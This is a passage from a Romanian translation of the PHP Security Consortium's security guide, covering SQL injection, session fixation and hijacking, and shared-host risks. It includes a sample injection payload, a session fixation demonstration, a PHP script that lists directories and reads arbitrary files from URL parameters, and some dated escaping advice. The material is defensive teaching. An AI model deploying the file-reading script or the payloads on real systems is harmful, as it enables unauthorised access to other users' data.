Include "/path/to/secret-stuff"
```

Acum poti folosi `$_SERVER['DB_USER']` si `$_SERVER['DB_PASS']` in cod. Nu va mai trebui sa scrii parola in nici un script, si web serverul nu poate citi fisierul `secret-stuff`, deci alti utilizatori nu pot scrie scripturi care sa acceseze credentialele de acces (indiferent de limbaj). Doar fii atent sa nu expui variabilele cu ceva de genul `phpinfo()` sau `print_r($_SERVER)`.

SQL Injection

Este extrem de usor sa te aperi impotriva atacurilor ce se bazeaza pe SQL injection, dar multe aplicatii sunt totusi vulnerabile. Sa consideram urmatorul statement SQL:

```
<?php

$sql = "INSERT
      INTO  users (reg_username,
                  reg_password,
                  reg_email)
      VALUES ('${_POST['reg_username']}',
              '$reg_password',
              '${_POST['reg_email']}')";

?>
```

Acesta este un query construit cu `$_POST`, ceea ce pare deja suspicios.

Sa presupunem ca acest query creaza un nou cont. Utilizatorul trimite un nume de utilizator si un email. Aplicatia genereaza o parola temporara si o trimite pe mailul utilizatorului. Sa ne imaginam ca utilizatorul trimite urmatorul username:

```
bad_guy', 'mypass', ''), ('good_guy
```

Acesta, in mod sigur, nu e un nume de utilizator valid, dar aplicatia nu stie pentru ca nu are implementat un sistem de filtrare. Daca o adresa de mail valida este introdusa (`shiflett@php.net`, spre exemplu), si `1234` este ceea ce aplicatia genereaza pentru parola, query-ul devine:

```
<?php

$sql = "INSERT
      INTO  users (reg_username,
                  reg_password,
                  reg_email)
      VALUES ('bad_guy', 'mypass', ''), ('good_guy',
              '1234',
              'shiflett@php.net')";

?>
```

In loc de a crea un cont (`good_guy`) cu o adresa de mail valida, aplicatia a fost pacalita si a creat doua conturi, iar utilizatorul a introdus toate detaliile pentru contul `bad_guy`.

In timp ce acest exemplu nu pare foarte periculos, este clar ca lucruri mai rele se pot intampla daca un atacator face modificari in query-urile SQL.

Spre exemplu, in functie de tipul bazei de date, poate fi posibil sa trimiti query-uri multiple intr-un singur statement. Astfel, atacatorul poate termina query-ul cu punct si virgula si apoi poate introduce orice query-uri doreste.

MySQL, pana de curand, nu permitea query-uri multiple astfel incat acest risc nu exista. Ultimele versiuni MySQL permit query-uri multiple, dar extensia PHP (`ext/mysql_i`) te obliga sa folosesti o functie separata daca vrei sa trimiti query-uri multiple (`mysqli_multi_query()` in loc de `mysqli_query()`). E mai sigur daca un singur query este permis, pentru ca limiteaza ce rele poate face atacatorul.

E usor sa protejezi aplicatia de SQL injection:

- Filtreaza toate datele.

O spun inca o data. Cu filtrare buna, majoritatea riscurilor de securitate sunt reduse, si unele sunt practic eliminate.

- Citeaza datele.

Daca baza de date iti permite, (MySQL permite), pune toate variabilele din query in ghilimele simple, indiferent de genul de date pe care il contin.

- Foloseste o functie pentru escape.

Uneori date valide pot schimba formatul statementului SQL. Foloseste `mysql_escape_string()` sau o functie de escaping pentru baza de date care o folosesti. Daca nu exista o functie specifica bazei tale de date, `addslashes()` este o buna ultima alternativa.

Ghidul Securitatii PHP: Sesiuni

Session Fixation

Securitatea sesiunii este un subiect complicat, si nu este o surpriza ca sesiunile sunt frecvent o tinta a atacurilor. Atacatorul este in general un impostor, adica are acces la sesiunea unui utilizator (legitim) facand aplicatia sa creada ca este acel utilizator.

Cea mai importanta informatie pentru atacator este session identifier-ul, pentru ca este nevoie de acesta pentru a lansa un atac "impostor". Exista trei metode folosite in mod curent pentru a obtine aceasta informatie:

- Precizare
- Capturare
- Fixation

Precizarea inseamna ghicirea valorii identifier-ului sesiunii. Cu mecanismul PHP-ului pentru sesiuni, identifier-ul este ales la intamplare, si este putin probabil ca acesta sa fie veriga cea mai slaba a aplicatiei.

Capturarea unui session identifier valid este cea mai frecventa metoda de atac, si exista mai multe posibilitati de a face acest lucru. Deoarece session identifier-urile sunt plasate in mod normal in cookies sau ca variabile GET, posibilitatile se refera la modalitati de atacare a acestor metode de transfer. Desi au existat cateva vulnerabilitati ale browserurilor in ceea ce priveste cookies, mai ales in Internet Explorer, cookies sunt mai putin expuse decat variabilele GET. Astfel, pentru utilizatorii care permit cookies, poti crea un mecanism pentru propagarea session identifier-ului folosind cookies.

Fixation este cea mai simpla metoda de a obtine un session identifier valid. Nu este greu sa-ti protejezi aplicatia de acest tip de atac. Totusi, daca mecanismul sesiunii consta in `session_start()` si nimic mai mult, aplicatia este vulnerabila.

Pentru a demonstra session fixation, voi folosi urmatorul script, `session.php`:

```
<?php
session_start();

if (!isset($_SESSION['visits']))
{
    $_SESSION['visits'] = 1;
}
else
{
    $_SESSION['visits']++;
}

echo $_SESSION['visits'];
?>
```

La prima vizita ar trebui sa vezi 1 printat pe ecran. La fiecare vizita ulterioara, acesta ar trebui sa creasca, reflectand de cate ori ai vizitat pagina.

Pentru a demonstra atacul, intai asigura-te ca nu ai un session identifier (poate stergand cookies), apoi viziteaza pagina cu `?PHPSESSID=1234` adaugat la URI. Apoi, cu un browser diferit (sau cu alt computer), viziteaza pagina cu `?PHPSESSID=1234` adaugat la URI. Vei observa ca pe pagina nu scrie 1 la prima vizita, ci numaratoarea continua de

unde a ramas la sesiunea precedenta.

De ce acest lucru poate prezenta probleme? Majoritatea atacatorilor folosesc un link sau un redirect la nivel de protocol pentru a trimite un utilizator la un alt site cu session identifier-ul adaugat la URI. Utilizatorul poate sa nu observe, deoarece site-ul va arata la fel. Deoarece atacatorul a ales session identifier-ul, acesta este deja stiut si poate fi folosit pentru a lansa atacuri "impostor" cum ar fi session hijacking.

Un atac simplistic ca acesta este usor de prevenit. Daca nu exista o sesiune activa asociata cu session identifier-ul pe care user-ul il prezinta, atunci regenereaza-l pentru a fi sigur:

```
<?php

session_start();

if (!isset($_SESSION['initiated']))
{
    session_regenerate_id();
    $_SESSION['initiated'] = true;
}

?>
```

Problema cu o aparare atat de simplista este ca un atacator poate initializa o sesiune pentru un anumit session identifier, apoi poate folosi session identifier-ul pentru a lansa atacul.

Penru a te proteja impotriva acestui timp de atac, trebuie sa observam ca session hijacking este folositor doar daca utilizatorul are anumite privilegii (spre exemplu este logged in). Deci, daca regeneram session identifier-ul oricand are loc o schimbare in privilegii (spre exemplu, dupa verificarea username-ului si a parolei) am eliminat riscul unui atac de acest gen.

Deturnarea Sesiunii

Probabil cel mai comun tip de atac al sesiunii, deturnarea sesiunii se refera la toate atacurile care incearca sa acceseze sesiunea unui alt utilizator.

Ca si cu session fixation, daca mecanismul sesiunii consta doar in `session_start()`, esti vulnerabil, desi atacatorului nu ii va fi la fel de usor.

In loc sa ma axez pe prevenirea capturarii session identifier-ului, voi explica cum sa faci o astfel de capturare mai putin periculoasa. Scopul este sa faci impersonarea unui utilizator de catre atacator cat mai complicata, deoarece fiecare complicatie creste nivelul de securitate. Pentru a face acest lucru, sa examinam intai pasii necesari pentru deturnarea unei sesiuni. In fiecare scenariu vom presupune ca session identifier-ul a fost compromis.

Cu un session mecanism simplistic nu este nevoie decat de un session identifier valid pentru a deturna o sesiune. Pentru a imbunatati aceasta situatie, sa vedem daca putem folosi ceva din request-ul HTTP pentru identificare.

Nota

Nu e bine sa te bazezi pe ceva la nivelul TCP/IP level, cum ar fi adresa IP, pentru ca aceste protocoale nu au fost facute pentru activitati care au loc la nivele mai inalte (adica nivelul HTTP). Un singur utilizator poate avea o adresa IP diferita pentru fiecare request si utilizatori diferiti pot avea aceeasi adresa IP.

Sa ne amintim un request HTTP tipic:

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

HTTP/1.1 cere in mod obligatoriu numai headerul `Host`, deci nu pare o idee buna sa ne bazam pe altceva. Totusi, ne intereseaza doar diferentele dintre headere, pentru ca dorim sa complicam impersonarea fara sa afectam uzabilitatea.

Sa ne imaginam ca requestul de mai inainte este urmat de un request cu un alt `User-Agent`:

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla Compatible (MSIE)
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

Desi aceeasi cookie a fost prezentata, sa presupunem ca este acelasi utilizator? Pare putin probabil ca un browser sa schimbe headerul `User-Agent` intre request-uri. Sa modificam mecanismul sesiunii pentru a verifica acest lucru:

```
<?php

session_start();

if (isset($_SESSION['HTTP_USER_AGENT']))
{
    if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
    {
        /* Prompt for password */
        exit;
    }
}
else
{
    $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
}

?>
```

Acum un atacator trebuie sa prezinte atat un session identifier valid, cat si acelasi `User-Agent` header care a fost asociat cu sesiunea. Aceasta complica lucrurile un pic, si este deci un pic mai sigur.

Putem sa imbunatetim lucrurile? In general cookies sunt obtinute exploatand un browser vulnerabil ca Internet Explorer, dupa ce utilizatorul a vizitat site-ul atacatorului. Astfel, atacatorul va obtine header-ul `User-Agent` corect. Este nevoie de altceva pentru a proteja in acest caz.

Sa ne imaginam ca vom face in asa fel incat utilizatorul sa trimita MD5-ul pentru `User-Agent` in fiecare request. Nu mai este de ajuns ca atacatorul sa recreeze headerele pe care le contine requestul victimei, ci trebuie trimisa si aceasta informatie extra. Desi nu e greu sa ghicesti constructia acestei dovezi, putem complica lucrurile alegand dovada intamplator:

```
<?php

$string = $_SERVER['HTTP_USER_AGENT'];
$string .= 'SHIFLETT';

/* Add any other data that is consistent */

$fingerprint = md5($string);

?>
```

Amintindu-ne ca session identifier este pastrat intr-un cookie, si aceasta inseamna ca un atac trebuie sa compromita cookieul (si probabil toate headerele HTTP), va trebui sa trimitem aceasta amprenta ca variabila URI. Aceasta trebuie inclusa in toate URI-urile, la fel ca session identifier-ul, deoarece amandoua trebuie verificate pentru ca o sesiune sa continue.

Pentru a ne asigura ca utilizatorii legitimi nu sunt tratati ca niste criminali, daca informatia nu se verifica, vom cere parola din nou. Daca exista o eroare in mecanismul de verificare si un utilizator legitim este suspectat de impersonare, cererea parolei este cea mai delicata metoda de a rezolva situatia. De fapt unii utilizatori vor aprecia protectia oferita.

Exista multe metode folosite pentru a complica impersonarea si a proteja aplicatiile de session hijacking. Sper ca cel putin vei adauga ceva in plus fata de `session_start()` si poate vei veni si cu alte idei. Tine minte ca trebuie sa faci lucrurile grele pentru atacator, dar usoare pentru utilizatori.

Nota

Unii experti considera ca header-ul `User-Agent` nu este destul de consistent pentru a fi folosit cum am descris mai sus. Argumentul este ca un HTTP proxy intr-un cluster poate modifica headerul `User-Agent` in mod diferit de alti proxies in acelasi cluster. Desi eu nu am observat acest lucru (si folosesc cu incredere `User-Agent`), este un aspect pe care poate vrei sa-l iei in considerare.

Headerul `Accept` se poate schimba de la request la request in Internet Explorer (daca utilizatorul da refresh), deci acest header nu trebuie folosit.

Ghidul Securitatii PHP: Shared Hosts

Exposed Session Data

Cand esti pe un shared host, securitatea nu poate fi la fel de puternica cum ar fi pe un dedicated host. Este unul din lucrurile care vin cu un pret mai ieftin.

O vulnerabilitate importanta o reprezinta faptul ca session store-ul este folosit de toate site-urile de pe host. Ca default, PHP tine session data in `/tmp`, acest lucru fiind valabil pentru toata lumea. Majoritatea oamenilor lasa lucrurile setate cu setarile default, si sesiunile nu reprezinta o exceptie. Din fericire, nu oricine poate citi fisierele de session, pentru ca acestea sunt accesibile doar serverului.

```
$ ls /tmp
total 12
-rw----- 1 nobody nobody 123 May 21 12:34 sess_dc8417803c0f12c5b2e39477dc371462
-rw----- 1 nobody nobody 123 May 21 12:34 sess_46c83b9ae5e506b8ceb6c37dc9a3f66e
-rw----- 1 nobody nobody 123 May 21 12:34 sess_9c57839c6c7a6ebd1cb45f7569d1ccfc
$
```

Totusi, este usor sa scrii un script PHP care sa citeasca aceste fisiere. Pentru ca PHP executa cu privilegiile userului `nobody` (sau orice foloseste serverul), are acces la ele.

Directiva `safe_mode` poate preveni acest lucru, si altele similare, dar se refera doar la PHP si nu rezolva problema total pentru ca atacatorul poate folosi alt limbaj.

O solutie mai buna? Nu folosi acelasi session store ca restul lumii. Mai bine foloseste baza de date, la care doar tu ai acces. Pentru a face acest lucru, foloseste functia `session_set_save_handler()` pentru a schimba default-urile cu functii specificate de tine.

Urmatorul cod este un exemplu simplistic de salvare a sesiunilor intr-o baza de date:

```
<?php

session_set_save_handler('_open',
                        '_close',
                        '_read',
                        '_write',
                        '_destroy',
                        '_clean');

function _open()
{
    global $_sess_db;

    $db_user = $_SERVER['DB_USER'];
    $db_pass = $_SERVER['DB_PASS'];
    $db_host = 'localhost';

    if ($_sess_db = mysql_connect($db_host, $db_user, $db_pass))
```

```
{
    return mysql_select_db('sessions', $_sess_db);
}

return FALSE;
}

function _close()
{
    global $_sess_db;

    return mysql_close($_sess_db);
}

function _read($id)
{
    global $_sess_db;

    $id = mysql_real_escape_string($id);

    $sql = "SELECT data
           FROM sessions
           WHERE id = '$id'";

    if ($result = mysql_query($sql, $_sess_db))
    {
        if (mysql_num_rows($result))
        {
            $record = mysql_fetch_assoc($result);

            return $record['data'];
        }
    }

    return '';
}

function _write($id, $data)
{
    global $_sess_db;

    $access = time();

    $id = mysql_real_escape_string($id);
    $access = mysql_real_escape_string($access);
    $data = mysql_real_escape_string($data);

    $sql = "REPLACE
           INTO sessions
           VALUES ('$id', '$access', '$data')";

    return mysql_query($sql, $_sess_db);
}

function _destroy($id)
```

```

{
    global $_sess_db;

    $id = mysql_real_escape_string($id);

    $sql = "DELETE
            FROM    sessions
            WHERE id = '$id'";

    return mysql_query($sql, $_sess_db);
}

function _clean($max)
{
    global $_sess_db;

    $old = time() - $max;
    $old = mysql_real_escape_string($old);

    $sql = "DELETE
            FROM    sessions
            WHERE  access < '$old'";

    return mysql_query($sql, $_sess_db);
}

?>

```

Avem nevoie de un tabel numit `sessions`, care arata in felul urmatoar:

```

mysql> DESCRIBE sessions;
+-----+-----+-----+-----+-----+
| Field | Type          | Null | Key | Default | Extra |
+-----+-----+-----+-----+-----+
| id    | varchar(32)   |      | PRI |          |       |
| access| int(10) unsigned| YES  |     | NULL    |       |
| data  | text          | YES  |     | NULL    |       |
+-----+-----+-----+-----+-----+

```

Tabelul poate fi creat in MySQL cu urmatoarea sintaxa:

```

CREATE TABLE sessions
(
    id varchar(32) NOT NULL,
    access int(10) unsigned,
    data text,
    PRIMARY KEY (id)
);

```

Pastrarea sesiunilor in baza de date inseamna ca securitatea aplicatiei depinde de securitatea bazei de date. Tot ce am discutat la baze de date si SQL este important si aici.

Citirea Filesystem-ului

Sa consideram urmatorul script care citeste filesystemul:

```
<?php

echo "<pre>\n";

if (ini_get('safe_mode'))
{
    echo "[safe_mode enabled]\n\n";
}
else
{
    echo "[safe_mode disabled]\n\n";
}

if (isset($_GET['dir']))
{
    ls($_GET['dir']);
}
elseif (isset($_GET['file']))
{
    cat($_GET['file']);
}
else
{
    ls('/');
}

echo "</pre>\n";

function ls($dir)
{
    $handle = dir($dir);

    while ($filename = $handle->read())
    {
        $size = filesize("$dir$filename");

        if (is_dir("$dir$filename"))
        {
            if (is_readable("$dir$filename"))
            {
                $line = str_pad($size, 15);
                $line .= "<a href=\"{" . $_SERVER['PHP_SELF'] . "?dir=$dir$filename/\">$filename</a>";
            }
            else
            {
                $line = str_pad($size, 15);
                $line .= "$filename/";
            }
        }
        else
        {
            $line = str_pad($size, 15);
            $line .= "$filename/";
        }
    }
}
```

```
        {
            if (is_readable("$dir$filename"))
            {
                $line = str_pad($size, 15);
                $line .= "<a href=\"{" . $_SERVER['PHP_SELF'] . "}?file=$dir$filename\">$filename</a>";
            }
            else
            {
                $line = str_pad($size, 15);
                $line .= $filename;
            }
        }

        echo "$line\n";
    }

    $handle->close();
}

function cat($file)
{
    ob_start();
    readfile($file);
    $contents = ob_get_contents();
    ob_clean();
    echo htmlentities($contents);

    return true;
}

?>
```

Directiva `safe_mode` poate preveni acest script, dar nu si un script scris in alt limbaj.

O solutie buna este sa tii datele importante in baza de date si sa folosesti tehnicile pe care le-am discutat pentru a proteja credentialele de acces.

Cea mai buna solutie o reprezinta un host dedicat.

Ghidul Securitatii PHP: Despre

Despre Ghid

PHP Security Guide este un proiect al PHP Security Consortium. Ultima versiune a ghidului (in engleza) poate fi gasita intotdeauna la <http://phpsec.org/projects/guide/>.

Despre Versiunea in Romana

PHP Security Guide a fost tradus in romana in martie 2005 de Andrei Stanescu. Ultima modificare a acestei versiuni a fost facuta pe 25 martie 2005. Ultima versiune poate fi intotdeauna gasita la <http://www.siteuri.ro/developer/ghidul-securitatii-php.php>.

Despre PHP Security Consortium

PHP Security Consortium (PHPSC) are ca misiune promovarea practicilor de programare sigure in comunitatea developerilor PHP prin educare si prezentare si mentinerea standardelor etice.

Poti afla mai multe despre PHPSC la <http://phpsec.org/>.

Alte informatii

Pentru mai multe informatii despre securitate in PHP, viziteaza biblioteca PHP Security Consortium la <http://phpsec.org/library/>.